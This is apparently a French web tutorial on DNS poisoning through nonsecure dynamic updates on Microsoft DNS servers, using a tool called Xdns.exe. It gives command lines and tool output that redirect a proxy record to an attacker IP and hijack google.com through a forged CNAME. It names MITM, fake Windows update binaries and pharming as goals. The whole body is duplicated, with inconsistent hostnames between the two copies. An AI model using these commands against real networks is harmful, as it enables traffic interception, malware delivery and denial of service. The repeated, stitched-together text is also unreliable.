Tweet
MITM / DNS poisoning
I. Introduction :
Par défaut, la plupart des serveurs DNS intégré à Microsoft permettent le répertoire actif...
C'est à ce niveau que se trouve une faille de sécurité, dans la mise à jour du DNS microsoft.
+ Attaques MITM : Changement des enregistrements DNS pour le réseau de relais et de proxy HTTP.
Cette attaque vectorielle est fiable et nous permet aussi d'exploiter automatiquement les mises à jour de la plupart des logiciels Windows, en déployant de fausses données binaires au client.
+ Déni de service : Suppression / modification des enregistrements DNS.
+ Pharming : Comme l'attaque MITM, il s'agit de l'intoxication de plusieurs enregistrements DNS.
+ Xdns : Exploit permettant, à distance, aux utilisateurs de modifier des enregistrements DNS.
II. Exploitation ... Redirection de DNS
Envoi d'une requête 'ping' sur FauxProxy.frrrrrr.com [66.6.66.6] avec 32 octets de données
Notre première requète, le ping en direction de FauxProxy.frrrrrr. Cette commande nous a permis de connaître l'adresse ip du serveur distant [66.6.66.6], et un retour de 32 octets de données, ce qui montre que le serveur existe bien.
La seconde commande, c'est l'exploitation en elle même.
- D'abord Xdns.exe , pour lancer l'exploit.
- Ensuite -s, cette restriction sert a appeler l'adresse DNS. On tape alors notre adresse DNS locale.
- On voit ensuite la restriction -q, qui elle sert a appeler le domaine DNS que l'on souhaite remplacer (à la place du DNS de l'origine). Pour être plus clair, on y met une adresse distante en remplacement de notre DNS [10.100.1.1]
- Enfin la restriction -u permet de faire la mise à jour DNS, donc d'effectuer le remplacement...
On peut maintenant aller un peu plus loin dans l'exploitation de cette attaque.
III. Exploitation/Redirection d'une URL
D:\DNSfun>Xdns.exe -s 10.100.1.1 -cc google.com -u http://www.site-cible.com
Microsoft Dynamic DNS Updates - Proof of Concept
[+] Gathering Credentials..
[+] Creating DNS CName Record for google.com (http://www.site-cible.com)
[+] Host Created. Rechecking Record...
[+] Host google.com resolved as CNAME
http://www.site-cible.com
On sait que le DNS (Domain Name System) permet d'associer une adresse alphanumérique (une URL) à une adresse logique, l'adresse ip... Eh bien ici, on va modifier la configuration du DNS. En effet, on va associer à une URL une adresse IP qui n'est pas celle qui lui est à l'origine associée.
Ici une fois de plus on lance Xdns.exe...
- La restriction -s sert a appeler l'adresse DNS (local donc 10.100.1.1) ;
- Puis la restriction -cc, qui va créer l'enregistrement CNAME que l'on veut (ici : google.com) ;
- Ensuite -u, pour faire la mise à jour en http://www.site-cible.com
Ce n'est pas une faille vraiment récente, mais elle n'a jamais était exploitée...
Par défaut, la plupart des serveurs DNS intégré à Microsoft permettent le répertoire actif...
C'est à ce niveau que se trouve une faille de sécurité, dans la mise à jour du DNS microsoft.
+ Attaques MITM : Changement des enregistrements DNS pour le réseau de relais et de proxy HTTP.
Cette attaque vectorielle est fiable et nous permet aussi d'exploiter automatiquement les mises à jour de la plupart des logiciels Windows, en déployant de fausses données binaires au client.
+ Déni de service : Suppression / modification des enregistrements DNS.
+ Pharming : Comme l'attaque MITM, il s'agit de l'intoxication de plusieurs enregistrements DNS.
+ Xdns : Exploit permettant, à distance, aux utilisateurs de modifier des enregistrements DNS.
II. Exploitation ... Redirection de DNS
Code:
D:\DNSfun>ping -n 1 FakeProxy.frrrrrr.com
Code:
D:\DNSfun>Xdns.exe -s 10.100.1.1 -q proxy.monDomaine -u 66.6.66.6 Microsoft Dynamic DNS Updates - Proof of Concept [+] Trying to resolve Host: proxy.mydomain (Dns Server 10.100.1.1) [+] Host proxy.mydomain resolved as 192.168.1.200 [+] Trying to set ip address of the host proxy.mydomain to 66.6.66.6 [+] Trying Nonsecure Dynamic Update... [?] Host Updated. Checking...(0) [+] Host proxy.mydomain resolved as 66.6.66.6
La seconde commande, c'est l'exploitation en elle même.
- D'abord Xdns.exe , pour lancer l'exploit.
- Ensuite -s, cette restriction sert a appeler l'adresse DNS. On tape alors notre adresse DNS locale.
- On voit ensuite la restriction -q, qui elle sert a appeler le domaine DNS que l'on souhaite remplacer (à la place du DNS de l'origine). Pour être plus clair, on y met une adresse distante en remplacement de notre DNS [10.100.1.1]
- Enfin la restriction -u permet de faire la mise à jour DNS, donc d'effectuer le remplacement...
On peut maintenant aller un peu plus loin dans l'exploitation de cette attaque.
III. Exploitation/Redirection d'une URL
D:\DNSfun>Xdns.exe -s 10.100.1.1 -cc google.com -u http://www.site-cible.com
Microsoft Dynamic DNS Updates - Proof of Concept
[+] Gathering Credentials..
[+] Creating DNS CName Record for google.com (http://www.site-cible.com)
[+] Host Created. Rechecking Record...
[+] Host google.com resolved as CNAME
http://www.site-cible.com
On sait que le DNS (Domain Name System) permet d'associer une adresse alphanumérique (une URL) à une adresse logique, l'adresse ip... Eh bien ici, on va modifier la configuration du DNS. En effet, on va associer à une URL une adresse IP qui n'est pas celle qui lui est à l'origine associée.
Ici une fois de plus on lance Xdns.exe...
- La restriction -s sert a appeler l'adresse DNS (local donc 10.100.1.1) ;
- Puis la restriction -cc, qui va créer l'enregistrement CNAME que l'on veut (ici : google.com) ;
- Ensuite -u, pour faire la mise à jour en http://www.site-cible.com
Ce n'est pas une faille vraiment récente, mais elle n'a jamais était exploitée...